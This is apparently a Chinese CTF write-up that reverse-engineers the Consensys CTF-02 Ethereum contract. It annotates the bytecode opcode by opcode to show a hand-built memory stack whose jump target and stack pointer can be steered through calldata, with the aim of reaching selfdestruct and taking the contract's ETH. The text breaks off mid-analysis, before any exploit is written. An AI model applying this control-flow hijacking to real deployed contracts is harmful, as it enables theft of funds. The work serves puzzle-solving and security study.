Consensys CTF-02 栈溢出重定向利用

bixia1994 发布于 2021-06-20 阅读 5131

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。:smiley:

Consensys CTF-02 栈溢出重定向利用

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。谢绝转载!!! image20210619193753465.png

不允许未经本人同意转载,本文为原创文章

问题描述:

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。这个CTF中跟上篇文章一样也是没有公开源码,甚至于现在Etherscan上都找不到对应的合约。当然他的合约地址在0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87 。本CTF的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的ETH。是不是听起来很简单呢?:smile:

OPCODE代码复原:

:point_right: 首先是借助于工具,拿到该合约的bytecode码,和机器翻译的solidity代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87

image20210619194447400.png

从工具上可以看到,存在5个公开的函数,和两个全局变量:get 占据slot0 和 die 占据slot1。

首先看函数:die()

function die() public payable { 
    require(msg.sender == _die);
    selfdestruct(_die);
}

可以看到这应该是我们最后要取得该题解答的函数,只要保证msg.sender == die即可通过selfdestruct(_dit)拿到所有的ETH,从而解答该题。看起来好像很简单的样子哦:laughing:

再看函数:get()

function get() public { 
    require(msg.sender != _get);
    return _get;
}

这个get函数应该是用来返回slot0的值的,看起来也很简单:smiley:

在分析函数:set(uint256 varg0)

function set(uint256 varg0) public payable { 
    0xe8();
    v0, v1 = 0xb4();
    MEM[MEM[256] + 32] = 836;
    MEM[MEM[256] + 32 + 32] = varg0;
    MEM[MEM[256] + 32 + 32 + 32] = 0;
    STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32];
    MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32;
    MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32];
}

如果仅仅看翻译过来的solidity代码,可以看到有一个给STORAGE赋值的操作,也许我们可以利用它,来将我们的msg.sender地址赋值给到die

在这里,我们需要分析下OPCODE代码,来接触到本题的核心——手动构建的栈

这里我们将逐行手动标记OPCODE的执行栈空间,来分析该set(uint256)函数. 函数签名为:60fe47b1

首先是函数选择器部分
0x0: PUSH3     0x100000		0x10000
0x4: PUSH1     0x40			0x10000 0x40
0x6: MSTORE    				
0x7: PUSH1     0x4			0x4
0x9: CALLDATASIZE			0x24
0xa: LT        				0x0
0xb: PUSH2     0x68			0x0 0x68
0xe: JUMPI     				
0xf: PUSH1     0x0			0x0
0x11: CALLDATALOAD			0x60fe47b1...
0x12: PUSH29    0x100000000000000000000000000000000000000000000000000000000 	0x60fe47b1... 0x100...
0x30: SWAP1     			0x100..	0x60fe47b1...
0x31: DIV       			0x60fe47b1
0x32: PUSH4     0xffffffff	 0x60fe47b1 0xffffffff
0x37: AND       			0x60fe47b1
0x38: DUP1      			0x60fe47b1 0x60fe47b1
0x39: PUSH4     0x7909947a 		
0x3e: EQ        
0x3f: PUSH2     0x23a
0x42: JUMPI     
0x43: DUP1      
0x44: PUSH4     0x60fe47b1	0x60fe47b1 0x60fe47b1 0x60fe47b1
0x49: EQ        			0x60fe47b1 0x1
0x4a: PUSH2     0x30f		0x60fe47b1 0x1 0x30f
0x4d: JUMPI     			0x60fe47b1

函数选择器首先是拿到了函数签名,然后与合约中public,external的函数签名进行比对,EQ返回1后,再跳转到对应的函数wrapper中。下面我们看线函数包装器中是怎么样的逻辑

这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图 
再没有具体跳进去看每一个函数前,假设函数不影响栈结构
0x30f: JUMPDEST  			0x60fe47b1
0x310: PUSH2     0x317		0x60fe47b1 0x317
0x313: PUSH2     0xe8		0x60fe47b1 0x317 0xe8
0x316: JUMP      			0x60fe47b1 0x317
0x317: JUMPDEST  			0x60fe47b1
0x318: PUSH2     0x31f		0x60fe47b1 0x31f
0x31b: PUSH2     0xb4		0x60fe47b1 0x31f 0xb4
0x31e: JUMP      			0x60fe47b1 0x31f
0x31f: JUMPDEST  			0x60fe47b1
0x320: PUSH2     0x32a		0x60fe47b1 0x32a
0x323: PUSH2     0x344		0x60fe47b1 0x32a 0x344
0x326: PUSH2     0x8c		0x60fe47b1 0x32a 0x344 0x8c
0x329: JUMP      			0x60fe47b1 0x32a 0x344
0x32a: JUMPDEST  			0x60fe47b1
0x32b: PUSH2     0x335		0x60fe47b1 0x335
0x32e: PUSH1     0x4		0x60fe47b1 0x335 0x4
0x330: CALLDATALOAD			0x60fe47b1 0x335 Id[4:36]
0x331: PUSH2     0x8c		0x60fe47b1 0x335 Id[4:36] 0x8c
0x334: JUMP      			0x60fe47b1 0x335 Id[4:36]
0x335: JUMPDEST  			0x60fe47b1 
0x336: PUSH2     0x33f		0x60fe47b1 0x33f
0x339: PUSH1     0x0		0x60fe47b1 0x33f 0x0
0x33b: PUSH2     0x8c		0x60fe47b1 0x33f 0x0 0x8c
0x33e: JUMP      			0x60fe47b1 0x33f 0x0
0x33f: JUMPDEST  			0x60fe47b1
0x340: PUSH2     0x2ea		0x60fe47b1 0x2ea
0x343: JUMP      			0x60fe47b1
0x344: JUMPDEST  			0x60fe47b1
0x345: PUSH1     0x0		
0x347: PUSH1     0x0
0x349: RETURN    

=> 翻译一下
function set(uint256 value) public nonPayable{
	push_stack_frame();
	uint redirectTo = 0x344;
	push_stack(redirectTo);
	uint256 newStackPointer;
	assembly{
		newStackPointer := calldataload(0x04)
	}
	push_stack(newStackPointer);
	push_stack(0x00);
	set_impl();
}
classDiagram
      start --|> 0xe8
      0xe8 --|> 0xb4
      0xb4 --|> 0x8c_0x344
      0x8c_0x344 --|> 0x8c_CALLDATALOAD
      0x8c_CALLDATALOAD --|> 0x8c_0x00
      0x8c_0x00 --|> 0x2ea
      

      class start {
      	0x30f JUMDEST
      }

      class 0x8c_0x344{
		0x329 IN
		0x32A OUT
      }
      class 0x8c_CALLDATALOAD{
		0x331 IN
		0x335 OUT
      }
      class 0x8c_0x00{
		0x33E IN
		0x33F OUT
      }
      class 0xb4{
      	0x31E IN
      	0x31F OUT
      }
      class 0xe8{
          0x316 IN
          0x317 OUT
      }
      class 0x2ea{
          0x343 IN
      }

拿到函数wrapper时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。

首先是0x30f为进入点,先调用0xe8, 然后返回到0x317, 再依次调用0xb4, 返回到0x31f, 再调用0x8c, 带参数0x344,返回到0x32a, 在调用一次0x8c, 带参数为CALLDATALOAD(0x4), 返回到0x335, 再调用0x8c, 带参数0x0, 返回到0x33f, 然后调用0x2ea函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry:

:fish: 首先看0xe8

简单说是判断该函数是否是Payable,如果不是Payable, 则如果函数调用时传送了ETH,流程就会回退。

0xe8: JUMPDEST     		0x60fe47b1 0x317
0xe9: CALLVALUE 		0x60fe47b1 0x317 0x0
0xea: ISZERO    		0x60fe47b1 0x317 0x01
0xeb: PUSH2     0xc1	0x60fe47b1 0x317 0x01 0xc1
0xee: JUMPI     		0x60fe47b1 0x317

0xc1: JUMPDEST  		0x60fe47b1 0x317
0xc2: JUMP   			0x60fe47b1

=> 翻译成solidity
modifier nonPayable() {
	require(msg.value == 0);
	_;
}

:fish:我们再看0xb4

可以看到其在内部调用了0x8c, 然后返回到0xbf处. 简单说作用是把当前内存地址为100的值放入手动构建的栈里

0xb4: JUMPDEST  			0x60fe47b1 0x31f
0xb5: PUSH2     0xbf		0x60fe47b1 0x31f 0xbf
0xb8: PUSH2     0x100		0x60fe47b1 0x31f 0xbf 0x100
0xbb: MLOAD     			0x60fe47b1 0x31f 0xbf M[100]
0xbc: PUSH2     0x8c		0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xbf: JUMPDEST  			0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xc0: JUMP      			0x60fe47b1 0x31f 0xbf M[100]
此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下:
0xbf: JUMPDEST  			0x60fe47b1 0x31f
0xc0: JUMP      			0x60fe47b1

=> 翻译成solidity
function push_stack_frame() private {
	uint256 value;
	assembly{
		value := mload(0x100)
	}
	push_stack(value)
}

:fish:接下来的是0x8c

从上面的分析可以看出,该函数有一个参数,返回值为0. 简单来讲是再内存中手动构建一个栈,每次push一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是32位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。

0x8c: JUMPDEST  			0x60fe47b1 backpointer value
0x8d: PUSH1     0x20		0x60fe47b1 backpointer value 0x20
0x8f: PUSH2     0x100		0x60fe47b1 backpointer value 0x20 0x100
0x92: MLOAD     			0x60fe47b1 backpointer value 0x20 M[100]
0x93: ADD       			0x60fe47b1 backpointer value M[100]+0x20
0x94: DUP1      			0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20
0x95: PUSH2     0x100		0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100
0x98: MSTORE    			0x60fe47b1 backpointer value M[100]+0x20
0x99: MSTORE    			0x60fe47b1 backpointer 
0x9a: JUMP    				0x60fe47b1

=> 翻译一下
function push_stack(uint256 value) private {
	uint temp;
	assembly{
		temp := mload(0x100)
		mstore(add(temp, 0x20), value)
		mstore(0x100, add(temp, 0x20))
	}
}

:fish:接下来是0x2ea

这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的OPCODE``: SSTORE, 这是我们最关心的。因为我们需要更改slot1的值,以便于获取该合约的所有Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测0x9b不需要参数,但返回1个值到栈里,0xc3也不需要参数

0x2ea: JUMPDEST  			0x60fe47b1
0x2eb: PUSH1     0x20		0x60fe47b1 0x20
0x2ed: PUSH2     0x100		0x60fe47b1 0x20 0x100
0x2f0: MLOAD     			0x60fe47b1 0x20 M[100]
0x2f1: SUB       			0x60fe47b1 M[100]-0x20
0x2f2: MLOAD     			0x60fe47b1 M[M[100]-0x20]
0x2f3: PUSH2     0x100		0x60fe47b1 M[M[100]-0x20] 0x100
0x2f6: MLOAD				0x60fe47b1 M[M[100]-0x20] M[100]
0x2f7: MLOAD     			0x60fe47b1 M[M[100]-0x20] M[M[100]]
0x2f8: SSTORE    			0x60fe47b1
0x2f9: PUSH2     0x300		0x60fe47b1 0x300
0x2fc: PUSH2     0x9b		0x60fe47b1 0x300 0x9b
0x2ff: JUMP      			0x60fe47b1 0x300
0x300: JUMPDEST  			0x60fe47b1 returnValue
0x301: POP       			0x60fe47b1
0x302: PUSH2     0x309		0x60fe47b1 0x309
0x305: PUSH2     0x9b		0x60fe47b1 0x309 0x9b
0x308: JUMP      			0x60fe47b1 0x309
0x309: JUMPDEST  			0x60fe47b1 returnValue
0x30a: POP       			0x60fe47b1
0x30b: PUSH2     0xc3		0x60fe47b1 0xc3
0x30e: JUMP      			0x60fe47b1
=> 翻译一下
function set_impl() private{
	uint temp0;
	uint temp1
	assembly{
		temp0 := mload(0x100) //M[100]
		temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
		sstore(mload(temp0), temp1)
	}
	pop_stack();
	pop_stack();
	pop_stack_frame();
}

:duck: 先整体理解下0x2ea, 它主要将栈顶的值作为键,将栈里第1个元素的值作为值,储存再以太坊上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的Frame。

:fish:先看0x9b函数,

简单看是拿到栈顶的元素,然后将栈的指针向下移动0x20

0x9b: JUMPDEST  			0x60fe47b1 backpointer
0x9c: PUSH2     0x100		0x60fe47b1 backpointer 0x100	
0x9f: MLOAD     			0x60fe47b1 backpointer M[100]
0xa0: MLOAD     			0x60fe47b1 backpointer M[M[100]]
0xa1: PUSH1     0x20		0x60fe47b1 backpointer M[M[100]] 0x20
0xa3: PUSH2     0x100		0x60fe47b1 backpointer M[M[100]] 0x20 0x100
0xa6: MLOAD     			0x60fe47b1 backpointer M[M[100]] 0x20 M[100]
0xa7: SUB       			0x60fe47b1 backpointer M[M[100]] M[100]-0x20
0xa8: PUSH2     0x100		0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100
0xab: MSTORE    			0x60fe47b1 backpointer M[M[100]]
0xac: SWAP1     			0x60fe47b1 M[M[100]] backpointer
0xad: JUMP      			0x60fe47b1 M[M[100]]

=> 翻译一下
function pop_stack() private returns (uint256) {
	uint value;
	uint temp;
	assembly{
		temp := mload(0x100)
		value := mload(temp)
		mstore(0x100, sub(temp, 0x20))
	}
	return value;
}

:fish:再看0xc3函数,

可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的STACK的内存起点

0xc3: JUMPDEST  			0x60fe47b1
0xc4: PUSH2     0xcb		0x60fe47b1 0xcb
0xc7: PUSH2     0x9b		0x60fe47b1 0xcb 0x9b		
0xca: JUMP      			0x60fe47b1 0xcb
0xcb: JUMPDEST  			0x60fe47b1 returnValue
0xcc: PUSH2     0xd3		0x60fe47b1 returnValue 0xd3
0xcf: PUSH2     0x9b		0x60fe47b1 returnValue 0xd3 0x9b
0xd2: JUMP      			0x60fe47b1 returnValue 0xd3 
0xd3: JUMPDEST  			0x60fe47b1 returnValue returnValue2
0xd4: PUSH2     0xdc		0x60fe47b1 returnValue returnValue2 0xdc
0xd7: SWAP1     			0x60fe47b1 returnValue 0xdc	returnValue2
0xd8: PUSH2     0xae		0x60fe47b1 returnValue 0xdc	returnValue2 0xae
0xdb: JUMP      			0x60fe47b1 returnValue 0xdc	returnValue2
0xdc: JUMPDEST  			0x60fe47b1 returnValue 
0xdd: JUMP      			0x60fe47b1 J(returnValue)
0xde: JUMPDEST  

=> 翻译一下
function pop_stack_frame() private {
	int redirectTo;
	int pointer;
	redirectTo = pop_stack();
	pointer = pop_stack();
	newStackPointer(pointer);
	assembly {
		jump(redirectTo)
	}
}

:fish:我们看0xae 函数,

这个函数很简单,就是把它的参数赋值到M[100]中,但意义很重大,意义是定义新的STACK的内存起点。因为STack的内存起点就是M[100]

0xae: JUMPDEST  			0x60fe47b1 returnValue 0xdc	returnValue2
0xaf: PUSH2     0x100		0x60fe47b1 returnValue 0xdc	returnValue2 0x100
0xb2: MSTORE    			0x60fe47b1 returnValue 0xdc	
0xb3: JUMP   				0x60fe47b1 returnValue
=> 翻译一下
function newStackPointer(uint256 pointer) {
	assembly{
		mstore(0x100, pointer)
	}
}

:rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?set(uint256 varg0)函数到底干了什么

function set(uint256 value) public nonPayable{
	push_stack_frame();
	uint redirectTo = 0x344;
	push_stack(redirectTo);
	push_stack(value);
	push_stack(0x00);
	set_impl();
}
function set_impl() private{
	uint temp0;
	uint temp1
	assembly{
		temp0 := mload(0x100) //M[100]
		temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
		sstore(mload(temp0), temp1)
	}
	pop_stack();
	pop_stack();
	pop_stack_frame();
}
function pop_stack_frame() private {
	int redirectTo;
	int pointer;
	redirectTo = pop_stack();
	pointer = pop_stack();
	newStackPointer(pointer);
	assembly {
		jump(redirectTo)
	}
}
label redirectTo: 
    0x344: JUMPDEST  
    0x345: PUSH1     0x0
    0x347: PUSH1     0x0
    0x349: RETURN   
=> 翻译一下
function set(uint256 value) public nonPayable {
	assembly{
		sstore(0x00, value)
	}
}

:rainbow_flag: 该函数首先是把frame压到栈里,再压入后面的redirectTo重定向位点压入栈里,再压入栈顶指针,再压入0x00,后面将栈顶的值作为key,栈里顺序1的元素作为值写到以太坊中。之后弹出栈顶0x00, 弹出栈顶指针,弹出重定向位点,并保存到redirecTo变量中,再弹出frame,并把frame作为新的栈顶指针创建新的栈,最后跳转到重定向位点。

:honey_pot: 分析蜜汁函数0x7909947a()

可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为:

0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d

0x23a: JUMPDEST  				0x7909947a 
0x23b: PUSH2     0x242			0x7909947a 0x242
0x23e: PUSH2     0xde			0x7909947a 0x242
0x241: JUMP						0x7909947a 0x242      
0x242: JUMPDEST  				0x7909947a
0x243: PUSH2     0x24c			0x7909947a 0x24c
0x246: PUSH1     0x0			0x7909947a 0x24c 0x0
0x248: PUSH2     0x8c			0x7909947a 0x24c 0x0 0x8c
0x24b: JUMP      				0x7909947a 0x24c 0x0
0x24c: JUMPDEST  				0x7909947a
0x24d: PUSH2     0x100			0x7909947a 0x100
0x250: MLOAD     				0x7909947a M[100]
0x251: PUSH2     0x25a			0x7909947a M[100] 0x25a
0x254: PUSH1     0x0			0x7909947a M[100] 0x25a 0x0
0x256: PUSH2     0x8c			0x7909947a M[100] 0x25a 0x0 0x8c
0x259: JUMP      				0x7909947a M[100] 0x25a 0x0
0x25a: JUMPDEST  				0x7909947a M[100]
0x25b: CALLDATASIZE				0x7909947a M[100] size
0x25c: PUSH1     0x44			0x7909947a M[100] size 0x44
0x25e: PUSH3     0x90000		0x7909947a M[100] size 0x44 0x90000
0x262: CALLDATACOPY				0x7909947a M[100]
0x263: PUSH2     0x26a			0x7909947a M[100] 0x26a 
0x266: PUSH2     0xb4			0x7909947a M[100] 0x26a 0xb4
0x269: JUMP      				0x7909947a M[100] 0x26a
0x26a: JUMPDEST  				0x7909947a M[100]
0x26b: PUSH2     0x275			0x7909947a M[100] 0x275
0x26e: PUSH2     0x29b			0x7909947a M[100] 0x275 0x29b
0x271: PUSH2     0x8c			0x7909947a M[100] 0x275 0x29b 0x8c
0x274: JUMP      				0x7909947a M[100] 0x275 0x29b
0x275: JUMPDEST  				0x7909947a M[100]
0x276: PUSH2     0x281			0x7909947a M[100] 0x281
0x279: PUSH3     0x90000		0x7909947a M[100] 0x281 0x90000
0x27d: PUSH2     0x8c			0x7909947a M[100] 0x281 0x90000 0x8c
0x280: JUMP      				0x7909947a M[100] 0x281 0x90000
0x281: JUMPDEST  				0x7909947a M[100]
0x282: PUSH2     0x28a			0x7909947a M[100] 0x28a
0x285: DUP2      				0x7909947a M[100] 0x28a topPointer
0x286: PUSH2     0x8c			0x7909947a M[100] 0x28a topPointer 0x8c
0x289: JUMP      				0x7909947a M[100] 0x28a 0x28a
0x28a: JUMPDEST  				0x7909947a M[100]
0x28b: PUSH2     0x296			0x7909947a M[100] 0x296
0x28e: PUSH1     0x44			0x7909947a M[100] 0x296 0x44
0x290: CALLDATASIZE				0x7909947a M[100] 0x296 0x44 size
0x291: SUB       				0x7909947a M[100] 0x296 size-0x44
0x292: PUSH2     0x8c			0x7909947a M[100] 0x296 size-0x44 0x8c
0x295: JUMP      				0x7909947a M[100] 0x296 size-0x44
0x296: JUMPDEST  				0x7909947a M[100]
0x297: PUSH2     0x15d			0x7909947a M[100] 0x15d
0x29a: JUMP      				0x7909947a M[100]
0x29b: JUMPDEST  				0x7909947a M[100] 
0x29c: PUSH2     0x2a3 			0x7909947a M[100] 0x2a3
0x29f: PUSH2     0xb4			0x7909947a M[100] 0x2a3 0xb4
0x2a2: JUMP      				0x7909947a M[100] 0x2a3
0x2a3: JUMPDEST  				0x7909947a M[100]
0x2a4: PUSH2     0x2ae			0x7909947a M[100] 0x2ae
0x2a7: PUSH2     0x2bc			0x7909947a M[100] 0x2ae 0x2bc
0x2aa: PUSH2     0x8c			0x7909947a M[100] 0x2ae 0x2bc 0x8c
0x2ad: JUMP      				0x7909947a M[100] 0x2ae 0x2bc 
0x2ae: JUMPDEST  				0x7909947a M[100]
0x2af: PUSH2     0x2b7			0x7909947a M[100] 0x2b7
0x2b2: DUP2      				0x7909947a M[100] 0x2b7 0x2b7
0x2b3: PUSH2     0x8c			0x7909947a M[100] 0x2b7 0x2b7 0x8c
0x2b6: JUMP      				0x7909947a M[100] 0x2b7 0x2b7
0x2b7: JUMPDEST  				0x7909947a M[100]
0x2b8: PUSH2     0xf3			0x7909947a M[100] 0xf3
0x2bb: JUMP      				0x7909947a M[100]

=> 翻译一下
function 0x7909947a() public {
	stack_pointer_init();
	push_stack(0x0);
	uint topPointer;
	assembly{
		topPointer := mload(0x100)
	}
	push_stack(0x0);
	uint size;
	assembly {
		size := calldatasize()
		calldatacopy(0x90000, 0x44, size)
	}
	push_stack_frame();
	uint return_pointer = 0x29b;
	push_stack(return_pointer);
	push_stack(0x90000);
	push_stack(topPointer);
	push_stack(size-0x44);
	0x7909947a_impl();
}

:tropical_fish: 首先是0xde

这里给0xde取名叫stack_pointer_init(),原因很简单,因为其作用是初始化内存地址100的值为固定值0x100. 其实作用是初始化内存栈的栈顶。

0xde: JUMPDEST  			0x7909947a backPointer 
0xdf: PUSH2     0xe6		0x7909947a backPointer 0xe6
0xe2: PUSH2     0x7c		0x7909947a backPointer 0xe6 0x7c
0xe5: JUMP      			0x7909947a backPointer 0xe6
0xe6: JUMPDEST  			0x7909947a backPointer 
0xe7: JUMP					0x7909947a

0x7c: JUMPDEST  			0x7909947a backPointer 0xe6
0x7d: PUSH2     0x100		0x7909947a backPointer 0xe6 0x100
0x80: PUSH2     0x100		0x7909947a backPointer 0xe6 0x100 0x100
0x83: MSTORE    			0x7909947a backPointer 0xe6 
0x84: JUMP  				0x7909947a backPointer 
=> 翻译一下
function stack_pointer_init() private {
	assembly{
		mstore(0x100, 0x100)
	}
}

:tropical_fish: 再是0x15d

分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce跳出循环) -> 0x1e0(循环,0x211跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3

0x15d: JUMPDEST  				0x7909947a framePointer
0x15e: PUSH2     0x167			0x7909947a framePointer 0x167
0x161: PUSH1     0x0			0x7909947a framePointer 0x167 0x0
0x163: PUSH2     0x8c			0x7909947a framePointer 0x167 0x0 0x8c
0x166: JUMP      				0x7909947a framePointer 0x167 0x0
0x167: JUMPDEST  				0x7909947a framePointer
0x168: JUMPDEST  				
0x169: PUSH1     0x20			0x7909947a framePointer 0x20
0x16b: PUSH2     0x100			0x7909947a framePointer 0x20 0x100
0x16e: MLOAD     				0x7909947a framePointer 0x20 M[100]
0x16f: SUB       				0x7909947a framePointer M[100]-0x20
0x170: MLOAD     				0x7909947a framePointer M[M[100]-0x20]
0x171: PUSH2     0x100			0x7909947a framePointer M[M[100]-0x20] 0x100
0x174: MLOAD     				0x7909947a framePointer M[M[100]-0x20] M[100]
0x175: MLOAD     				0x7909947a framePointer M[M[100]-0x20] M[M[100]]
0x176: SUB       				0x7909947a framePointer M[M[100]]-M[M[100]-0x20]
0x177: ISZERO    				0x7909947a framePointer nonZero
0x178: PUSH2     0x1ce			0x7909947a framePointer nonZero 0x1ce
0x17b: JUMPI     				0x7909947a framePointer 
0x17c: PUSH32    0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10..
0x19d: PUSH2     0x100			0x7909947a framePointer 0x10.. 0x100
0x1a0: MLOAD     				0x7909947a framePointer 0x10.. M[100]
0x1a1: MLOAD     				0x7909947a framePointer 0x10.. M[M[100]]
0x1a2: PUSH1     0x60			0x7909947a framePointer 0x10.. M[M[100]] 0x60
0x1a4: PUSH2     0x100			0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100
0x1a7: MLOAD     				0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100]
0x1a8: SUB       				0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60
0x1a9: MLOAD     				0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60]
0x1aa: ADD       				0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60]
0x1ab: MLOAD     				0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]]
0x1ac: DIV       				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10..
0x1ad: PUSH2     0x100			0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100
0x1b0: MLOAD     				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100]
0x1b1: MLOAD     				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]
0x1b2: PUSH1     0x40			0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40
0x1b4: PUSH2     0x100			0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100
0x1b7: MLOAD     				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100]
0x1b8: SUB       				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40
0x1b9: MLOAD     		0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40]
0x1ba: ADD       		0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40]
0x1bb: MSTORE8   				0x7909947a framePointer
0x1bc: JUMPDEST  				0x7909947a framePointer
0x1bd: PUSH1     0x1			0x7909947a framePointer 0x1
0x1bf: PUSH2     0x100			0x7909947a framePointer 0x1 0x100
0x1c2: MLOAD     				0x7909947a framePointer 0x1 M[100]
0x1c3: MLOAD     				0x7909947a framePointer 0x1 M[M[100]]
0x1c4: ADD       				0x7909947a framePointer 0x1+M[M[100]]
0x1c5: PUSH2     0x100			0x7909947a framePointer 0x1+M[M[100]] 0x100
0x1c8: MLOAD     				0x7909947a framePointer 0x1+M[M[100]] M[100]
0x1c9: MSTORE    				0x7909947a framePointer
0x1ca: PUSH2     0x168			0x7909947a framePointer 0x168
0x1cd: JUMP      				0x7909947a framePointer
0x1ce: JUMPDEST  				0x7909947a framePointer
0x1cf: PUSH1     0x0			0x7909947a framePointer 0x0
0x1d1: PUSH2     0x100			0x7909947a framePointer 0x0 0x100
0x1d4: MLOAD     				0x7909947a framePointer 0x0 M[100]
0x1d5: MLOAD     				0x7909947a framePointer 0x0 M[M[100]]
0x1d6: PUSH1     0x40			0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1d8: PUSH2     0x100			0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1db: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1dc: SUB       				0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1dd: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1de: ADD       				0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1df: MSTORE8   				0x7909947a framePointer
0x1e0: JUMPDEST  				0x7909947a framePointer
0x1e1: PUSH1     0x40			0x7909947a framePointer 0x40
0x1e3: PUSH2     0x100			0x7909947a framePointer 0x40 0x100
0x1e6: MLOAD     				0x7909947a framePointer 0x40 M[100]
0x1e7: MLOAD     				0x7909947a framePointer 0x40 M[M[100]]
0x1e8: MOD       				0x7909947a framePointer M[M[100]]%0x40
0x1e9: ISZERO    				0x7909947a framePointer nonZero
0x1ea: PUSH2     0x211			0x7909947a framePointer nonZero 0x211
0x1ed: JUMPI     				0x7909947a framePointer
0x1ee: PUSH1     0x0			0x7909947a framePointer 0x0
0x1f0: PUSH2     0x100			0x7909947a framePointer 0x0 0x100
0x1f3: MLOAD     				0x7909947a framePointer 0x0 M[100]
0x1f4: MLOAD     				0x7909947a framePointer 0x0 M[M[100]]
0x1f5: PUSH1     0x40			0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1f7: PUSH2     0x100			0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1fa: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1fb: SUB       				0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1fc: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1fd: ADD       				0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1fe: MSTORE8   				0x7909947a framePointer
0x1ff: JUMPDEST  				0x7909947a framePointer
0x200: PUSH1     0x1			0x7909947a framePointer 0x1
0x202: PUSH2     0x100			0x7909947a framePointer 0x1 0x100
0x205: MLOAD     				0x7909947a framePointer 0x1 M[100]
0x206: MLOAD     				0x7909947a framePointer 0x1 M[M[100]]
0x207: ADD       				0x7909947a framePointer 0x1+M[M[100]]
0x208: PUSH2     0x100			0x7909947a framePointer 0x1+M[M[100]] 0x100
0x20b: MLOAD     				0x7909947a framePointer 0x1+M[M[100]] M[100]
0x20c: MSTORE    				0x7909947a framePointer
0x20d: PUSH2     0x1e0			0x7909947a framePointer 0x1e0
0x210: JUMP      				0x7909947a framePointer
0x211: JUMPDEST    				0x7909947a framePointer
0x212: PUSH2     0x219			0x7909947a framePointer 0x219
0x215: PUSH2     0x9b			00x7909947a framePointer 0x219 0x9b
0x218: JUMP      				0x7909947a framePointer 0x219
0x219: JUMPDEST  				0x7909947a framePointer returnValue
0x21a: POP       				0x7909947a framePointer 
0x21b: PUSH2     0x222			0x7909947a framePointer 0x222
0x21e: PUSH2     0x9b			0x7909947a framePointer 0x222 0x9b
